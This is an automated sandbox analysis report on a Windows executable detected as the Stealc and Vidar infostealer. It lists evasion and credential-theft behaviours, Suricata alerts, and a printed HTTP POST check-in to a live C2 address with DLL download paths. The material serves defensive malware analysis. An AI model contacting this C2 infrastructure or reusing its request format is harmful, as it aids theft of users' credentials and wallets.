Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1500391
MD5:	e70f65be8f27c08808e881aea3f0c9c2
SHA1:	b1069d3bc8cad48b783244c6fef36f8c833bc44c
SHA256:	7f8ea1e8897f9af7a5ced22e8c6a7e07811700220ac2c3ba50375c2c4926d7e9
Tags:	exe
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1600 cmdline: "C:\Users\user\Desktop\file.exe" MD5: E70F65BE8F27C08808E881AEA3F0C9C2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.100/e2b1563c6670f193.php"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1600	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 1600	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 1600	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1600	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 185.215.113.100

Timestamp:	2024-08-28T11:51:06.704569+0200
SID:	2803304
Severity:	3
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config - Source IP: 185.215.113.100 - Destination IP: 192.168.2.6

Timestamp:	2024-08-28T11:51:04.741114+0200
SID:	2044245
Severity:	1
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc Submitting System Information to C2 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.100

Timestamp:	2024-08-28T11:51:06.219022+0200
SID:	2044248
Severity:	1
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 185.215.113.100

Timestamp:	2024-08-28T11:51:13.332778+0200
SID:	2803304
Severity:	3
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 185.215.113.100

Timestamp:	2024-08-28T11:51:14.785573+0200
SID:	2803304
Severity:	3
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.100

Timestamp:	2024-08-28T11:51:04.735000+0200
SID:	2044244
Severity:	1
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 185.215.113.100

Timestamp:	2024-08-28T11:51:16.490173+0200
SID:	2803304
Severity:	3
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.6 - Destination IP: 185.215.113.100

Timestamp:	2024-08-28T11:51:04.484581+0200
SID:	2044243
Severity:	1
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.6 - Destination IP: 185.215.113.100

Timestamp:	2024-08-28T11:51:04.979457+0200
SID:	2044246
Severity:	1
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 185.215.113.100 - Destination IP: 192.168.2.6

Timestamp:	2024-08-28T11:51:04.986244+0200
SID:	2044247
Severity:	1
Source Port:	80
Destination Port:	49710
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 185.215.113.100

Timestamp:	2024-08-28T11:51:16.911784+0200
SID:	2803304
Severity:	3
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 185.215.113.100

Timestamp:	2024-08-28T11:51:14.204062+0200
SID:	2803304
Severity:	3
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.6 - Destination IP: 185.215.113.100

Timestamp:	2024-08-28T11:51:11.901034+0200
SID:	2803304
Severity:	3
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFCFHJDBKJKEBFHJEHIIHost: 185.215.113.100Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 43 46 35 41 43 32 46 37 30 35 32 34 35 38 35 30 34 38 39 33 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 46 48 4a 44 42 4b 4a 4b 45 42 46 48 4a 45 48 49 49 2d 2d 0d 0a Data Ascii: ------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="hwid"D9CF5AC2F7052458504893------CFCFHJDBKJKEBFHJEHIIContent-Disposition: form-data; name="build"leva------CFCFHJDBKJKEBFHJEHII--

Source: file.exe, 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2321642183.00000000009DC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100
Source: file.exe, 00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100#G
Source: file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/
Source: file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/mozglue.dlljp
Source: file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/msvcp140.dll%
Source: file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/msvcp140.dll6
Source: file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2341677335.0000000029B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/nss3.dll.
Source: file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/nss3.dllXp
Source: file.exe, 00000000.00000002.2341677335.0000000029B00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/nss3.dlllC
Source: file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/nss3.dllll
Source: file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/nss3.dllllDp
Source: file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/nss3.dllllVp
Source: file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2321642183.0000000000A0A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/sqlite3.dll2
Source: file.exe, 00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/sqlite3.dllz
Source: file.exe, 00000000.00000002.2341677335.0000000029B64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2322786488.00000000014B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php0oQ
Source: file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpBOK
Source: file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpDHCBGDHJKEBGDGIJEq
Source: file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpata
Source: file.exe, 00000000.00000002.2322786488.000000000146E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpb
Source: file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpdo
Source: file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpho
Source: file.exe, 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpion:
Source: file.exe, 00000000.00000002.2322786488.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpl
Source: file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpnfigOverlay
Source: file.exe, 00000000.00000002.2322786488.00000000014C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpo
Source: file.exe, 00000000.00000002.2321642183.0000000000B4D000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.100e2b1563c6670f193.phpion:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2336451975.000000001DBCB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2350971094.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: DAEGIDHD.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2341677335.0000000029B64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2322786488.0000000001555000.00000004.00000020.00020000.00000000.sdmp, DGHJEHJJDAAAKEBGCFCA.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2341677335.0000000029B64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2322786488.0000000001555000.00000004.00000020.00020000.00000000.sdmp, DGHJEHJJDAAAKEBGCFCA.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: DAEGIDHD.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: DAEGIDHD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: DAEGIDHD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2341677335.0000000029B64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2322786488.0000000001555000.00000004.00000020.00020000.00000000.sdmp, DGHJEHJJDAAAKEBGCFCA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2341677335.0000000029B64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2322786488.0000000001555000.00000004.00000020.00020000.00000000.sdmp, DGHJEHJJDAAAKEBGCFCA.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: DAEGIDHD.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: DAEGIDHD.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: DAEGIDHD.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: DGHJEHJJDAAAKEBGCFCA.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: GHIDHCBGDHJKEBGDGIJECFIDGC.0.dr	String found in binary or memory: https://support.mozilla.org
Source: GHIDHCBGDHJKEBGDGIJECFIDGC.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: GHIDHCBGDHJKEBGDGIJECFIDGC.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: file.exe, 00000000.00000002.2341677335.0000000029B64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2322786488.0000000001555000.00000004.00000020.00020000.00000000.sdmp, DGHJEHJJDAAAKEBGCFCA.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: DAEGIDHD.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: DAEGIDHD.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: GHIDHCBGDHJKEBGDGIJECFIDGC.0.dr	String found in binary or memory: https://www.mozilla.org
Source: GHIDHCBGDHJKEBGDGIJECFIDGC.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: GHIDHCBGDHJKEBGDGIJECFIDGC.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: GHIDHCBGDHJKEBGDGIJECFIDGC.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: GHIDHCBGDHJKEBGDGIJECFIDGC.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2341677335.0000000029B64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2322786488.0000000001555000.00000004.00000020.00020000.00000000.sdmp, DGHJEHJJDAAAKEBGCFCA.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CB5B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CB5B8C0
